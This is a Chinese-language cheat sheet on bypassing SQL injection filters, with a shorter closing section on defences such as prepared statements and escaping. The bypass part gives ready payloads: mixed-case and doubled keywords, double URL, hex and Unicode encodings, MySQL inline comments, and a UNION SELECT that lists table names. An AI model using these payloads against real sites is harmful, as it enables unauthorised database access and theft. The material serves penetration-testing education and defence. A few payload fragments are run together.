SQL注入绕过
大小写绕过
根据应用程序的过滤规则,通常会对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。但在过滤规则中可能存在过滤不完整或只过滤小写或大小的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写来绕过关键字过滤!
aNd 1=1 ......orDer ByseLeCt......
双写关键字绕过
id =1 and 1=1加入and被过滤了,最后变成了id =1 1=1:可以这样构造:anandd ......id =1 anandd 1=1其他类似:id =1 order by 3,变成了 id =1 der by 3:oorrder......
编码绕过
双重URL编码绕过(有些过滤规则并未对参数进行解码,而程序处理时会解码!)
URL编码:
and%61%6e%64%25%36%31%25%36%65%25%36%34
构造:
验证id=1%25%36%31%25%36%65%25%36%34 1=1id=1%25%36%31%25%36%65%25%36%34 1=2
16进制编码
MySQL数据库可以识别16进制数据,会对其进行自动转换!
PHP配置开启了GPC,会自动对单引号进行转义,所以将注入的数据转换为16进制,就不需要使用单引号了!
'tony'GPC后:'tony'
16进制编码后:
0x746f6e79
Unicode编码绕过
Unicode编码:
形式:“u”或者是“%u”加上4位16进制Unicode码值!
IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS会自动进行转换!
假如对select关键字进行了过滤,可以对其中几个字母进行unicode编码:se%u006cect
ASCII编码:
char()函数可以将字符转换为ASCII码
内联注释绕过:
MySQL会执行/! .../中语句!
/! 50010/:50010表示5.00.10 MySQL版本号
当MySQL数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释内的语句!
id=1 /*!and*/ 1=1
空格过滤绕过:
会将空格加入黑名单!可以使用制表符,换行符,括号、反引号,/**/等来代替空格!
select /**/1,2,database();
select1,2,database(); // 制表符
select1,2,database();
换行符,不可见字符,需要url编码!
select (1) from ...
其他:
and可替换为&&
or可替换为||
=转换为like,greatest,between
等价函数与命令:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
SQL注入防御
- 采用sql语句预编译和绑定变量
pdo
mysqli
(语法结构已经生成了,参数传进来的都当做字符串字面值!)
但某些场景只能采用字符串拼接的方式,这时要严格检查参数的数据类型!
- 使用安全函数
ESAPI.encoder().encodeForSQL(codec, name)
该函数会将 name 中包含的一些特殊字符进行编码,这样 sql 引擎就不会将name中的字符串当成sql命令来进行语法分析了!
intval() // 避免出现数字型注入漏洞
htmlspecialchars() // 字符转换为HTML实体mysql_real_escape_string() // 对字符串中的特殊字符进行转义addslashes() // 预定义字符之前添加反斜杠
- 输入验证
白名单或黑名单过滤
- 编码输出
- waf进行运行时保护
- 服务器配置修复
PHP配置:
magic_quotes_gpcmagic_quotes_sybase
......